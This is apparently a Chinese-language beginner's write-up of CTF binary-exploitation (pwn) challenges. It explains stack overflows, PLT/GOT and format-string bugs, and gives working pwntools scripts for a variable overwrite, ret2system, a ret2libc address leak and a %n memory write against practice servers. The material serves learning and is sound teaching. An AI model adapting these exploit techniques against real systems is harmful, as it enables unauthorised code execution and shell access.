目录
学前准备
1.Linux系统(建议kali,好不好用另说主要是帅)
2.IDA pro7.7
3.pwntools
sudo pip3 install pwntools -i https://pypi.tuna.tsinghua.edu.cn/simple
4.pwndbg
刷题学习
个人认为做题是学习的一个重要方法(其实是不想花钱买课,能跟老师系统学谁还自学啊)
几个新手做题平台
正式开始
BUUCTF----test_your_nc
node4.buuoj.cn:28669为服务器地址,可能会给你两种形式。
域名:端口号 node4.buuoj.cn:28669
IP地址:端口号 192.168.88.01:14514
在kali使用指令连接
指令形式: nc ip/域名 端口号
本题为: nc node4.buuoj.cn 28669
ls查看当前目录(有关Linux命令在此不在赘述)
使用cat命令得到flag
[NISACTF 2022]ReorPwn?
下载附件到kali桌面并用checksec命令解析。(注意终端打开路径和附件所在路径是否一致)
pwntools安装成功时会自带checksec,因此无需额外安装。
amd64-64-little 表示要使用64位的IDA打开
点击OK
按下F5得到反汇编代码
简单阅读代码,首先先puts输出一串字符,然后将用户输入的命令保存进a后调用fun()函数对a进行操作,然后执行system(a)。双击fun(a)查看。
进行简单注释(在空行按/进行注释)
分析得知fun()函数是将字符串倒序输出,因此要顺利执行调用system()进行提权我们要进行倒序输入,这样在结果fun()函数变化才能正确提权,将ls倒序成sl查看当前目录
构造payload:galf tac(cat flag的倒序)
ciscn_2019_n_8
尝试nc连接
发现退出了连接,下载附件准备上IDA
阅读代码发现只有当var[13]非空且为17时才能拉起控制台进行提权,构造python脚本攻击
from pwn import *
m=remote("node4.buuoj.cn",25465) #配置nc连接
payload=b'a'*13*4+p32(17) #在内存中用16进制的a字符对var[0]~var[12]进行填充,注意int类型占4字节故要乘4
#p32/p64能在32/64位程序中转化为字节型数据
m.sendline(payload) #攻击
m.interactive() #进行交互
使用python3连接
栈溢出的抽象概念
(本来想把过程中的寄存器变化写清楚的,写了一半发现太长了也懒得画图就放弃了,简单描述下抽象概念)
return address |
previous ebp |
(ebp指向位置) |
Var |
Var为我们的溢出点,通过向Var中写入垃圾数据可将previous ebp以下内存填满,这时再写入一字长(32加4,64加8)可将previous ebp处覆盖,紧接着后面便是程序的返回地址,这时再继续向Var中写入数据便能覆盖掉返回地址从而让程序执行我们想要的代码段。
[NISACTF 2022]ezstack
简单的栈溢出
构造脚本
from pwn import *
#context.arch='amd64'
io=remote('node3.anna.nssctf.cn',28996)
systemadress=0x08048390
bin_sh=0x0804A024
payload=flat('A'*(0x48+4),systemadress,0,bin_sh)
io.sendline(payload)
io.interactive()
函数调用栈时payload的构造
本来在网上嫖到了payload就该结束,但是瞅了眼,嗯?好怪,在瞅眼,payload=flat('A'*(0x48+4),systemadress,0,bin_sh)。将system和bin/sh地址写入是为了执行system("bin/sh"),但是中间为啥要加一个东西呢?
放上栈帧的结构图
大家知道,子函数的参数会存放在父函数的栈帧中,一个新执行的函数,它会在Return Address和Caller's ebp放入栈后开始工作,所以当其寻找自己的参数时,它会知道从Local Variables开始要跳过Return Address和Caller's ebp这两个字长才能找到自己的参数(arg1)(参数倒序入栈,关于函数调用栈不再赘述)。
假设我们构造了一次栈溢出并且成功的将返回地址覆盖成system的入口地址
那么下一步是什么?通过return指令,程序会将system弹出到eip中,那么程序便来到了eip所对应的代码处,也就是system的代码
我们来瞅一眼system的代码
system:
push ebp
mov ebp,esp
...(execute command)
ret
这是什么?push?压栈压一下。
这是什么,有点眼熟,补全看看
前文说啥来着?跳过Return Address和Caller's ebp这两个字长才能找到自己的参数,local var就是system的栈帧,往上跳过两个字长是自己的第一个参数,exit是自己的返回地址,一切都合理了起来。
让我们回到开始payload=flat('A'*(0x48+4),systemadress,0,bin_sh),中间的'0'便是为了保证参数顺利传入而构造的任意exit了
动态链接库
程序对于外部函数的调用需要在生成可执行文件时将外部函数链接到程序中,分为静态链接和动态链接。
静态链接得到的可执行文件包含外部函数的全部代码,动态链接得到文件中不包含外部函数的代码,而是运行时将动态链接库加载到内存的某个位置,再在发生调用时去链接库定位所需的函数
GOT表
Globle offset table全局偏移量表,位于数据段(.data),存储指向外部函数在内存中真实地址的指针,可在程序运行中被修改。
PLT表
procedure linkage table过程连接表,位于代码段,其中PLT[0]储存的信息能用来跳转到动态链接器中,PLT[1]是系统启动函数(__libc_start_main),其余每个条目都负责调用一个具体的函数。当程序需要调用一个外部函数时,在初始阶段,PLT 表中的过程指令会被执行。这些过程指令通常用于处理函数符号解析、GOT(Global Offset Table)表中函数地址的加载以及跳转到正确的函数入口点。
在动态链接时当程序第一次执行call system
程序会先跳转到plt表,通过plt跳转到got表,但由于system函数首次执行,got表中并没有system的真实地址而是指向并返回了plt表,下一步通过resolve解析将指向system真实地址的指针填入了got表,函数成功调用。
当程序执行过了system再次执行时
由于此时got表中的指针指向了system的真实地址, 函数可直接跳转。
level2
发现read函数,存在栈溢出 ,并且函数调用过了system函数,plt表中存放了system的地址。
查找字符串发现data段有/bin/sh
构造payload
from pwn import *
#context.arch='amd64'
io=remote('61.147.171.105',51157)
elf=ELF('./pwn')
system_plt=elf.plt["system"]
bin_sh=next(elf.search(b"bin/sh"))
payload= b'A'*(0x88+4)+p32(system_plt)+p32(0x0)+p32(bin_sh)
io.sendline(payload)
io.interactive()
得到flag
level3
观察发现没有后门函数,但题目给出了libc文件,在发生栈溢出前调用了write函数,可以进行地址泄露 。整体思路:通过write打印write在got表中保存的真实地址,通过libc获得system和bin/sh偏移量求出其真实地址,开始编写脚本。
from pwn import *
io=remote('61.147.171.105',63275)
elf=ELF('./level3')
libc=ELF('./libc_32.so.6')
write_plt=elf.plt["write"]
write_got=elf.got["write"]
main_address=elf.symbols["main"]
io.recvuntil('Input:\n')
payload1= b'A'*(0x88+4)+p32(write_plt)+p32(main_address)+p32(0)+p32(write_got)+p32(4)#返回地址返回到main函数处准备第二次传参溢出
io.sendline(payload1)
write_got=u32(io.recv())
bin_sh_address=next(libc.search(b"bin/sh"))-libc.symbols["write"]+write_got
system_address=libc.symbols["system"]-libc.symbols["write"]+write_got
payload2=b'A'*(0x88+4)+p32(system_address)+p32(0x0)+p32(bin_sh_address)
io.sendline(payload2)
io.interactive()
格式化字符串漏洞
char str[100];
scanf("%s",str);
printf("%s",str);
这就是一个最简单的格式字符串漏洞
什么是格式化字符串?
格式化字符串(英语:format string),是一些程序设计语言在格式化输出API函数中用于指定输出参数的格式与相对位置的字符串参数,例如C、C++等程序设计语言的printf类函数,其中的转换说明(conversion specification)用于把随后对应的0个或多个函数参数转换为相应的格式输出;格式化字符串中转换说明以外的其它字符原样输出。
如在C语言中的占位符
%d - 输出十进制整数
%s - 输出内存中的字符串
%x - 输出十六进制数
%c - 输出字符
%p - 输出个指针
%n - 将printf已经打印的字符个数赋值给指定的内存地址中
printf()函数
printf("%3$s",1,2,3)表示读取第三个参数
printf()是C语言中少数支持可变参数的库函数。函数在调用的过程中传入函数的参数从右到左逐个压入栈中。
正常来说我们传入几个参数便会使用几个占位符
print("%d %d %d",1,2,3);
但由于printf()本身是可变参数的函数,并且它不知道传入参数的数量,也不知道在函数调用前到底有多少参数被压入栈中,所以它会传入一个format来标明有几个参数,有几个格式化字符串printf()就认为传入了几个参数。并打印指定数量的参数。
那如果我们传入的参数数量小于标注的format呢?
print("%d %d %d",1,2);
联想到函数在栈中的状态
尽管我们只传入了两个参数,但printf会认为我们传入了三个参数(format)并依次向上读取3个字长作为参数并打印出来,尽管otherdata并不是printf的参数,这就造成了栈上信息的泄露。那么只要我们填入大量的格式化字符串,就能获得栈上的大量信息。
在C语言中,变量的使用往往是通过指针来实现,而当调用printf时,"AAAA%p%p"字符串本身也被存放在栈中
printf("AAAA%p%p")
当我们填入的格式化字符串足够多,一直泄露到"AAAA"位置时,我们便能知道当printf往上读多少参数便可达到保存printf("payload")中的字符串的位置。
那么假设我们填入的不是AAAA而是一串地址,占位符是%s会如何
假设相隔5个参数,变量flag=5,地址为0x114514
printf("0x114514%5$s")
这时printf会把0x114514当作%s的对象进行解析,而%s是打印出此地址指向的字符串内容,这时就会发现我们只要更改地址就能实现任意字符串的读取。
那如果是%n呢?%n能将printf已经打印的字符个数赋值给指定的内存地址中,也就是说我们不仅可以打印,还能修改flag的值。
%n int写入4字节 0x00000004
%hn 2字节 0x0004
%hhn 1字节 0x04
这样便能通过格式化字符串漏洞实现任意内存的泄露与更改
CGfsb
发现需要修改pwnme的值为8,字符串漏洞
本来想用gdb动态调试,但是找了半天栈也没找到偏移就放弃了
发现需要第10个参数
from pwn import *
io=remote('61.147.171.105',50318)
io.recvuntil("please tell me your name:\n")
io.sendline('deed')
io.recvuntil('please:')
payload=p32(0x0804A068)+b'AAAA'+b'%10$n'
io.sendline(payload)
io.interactive()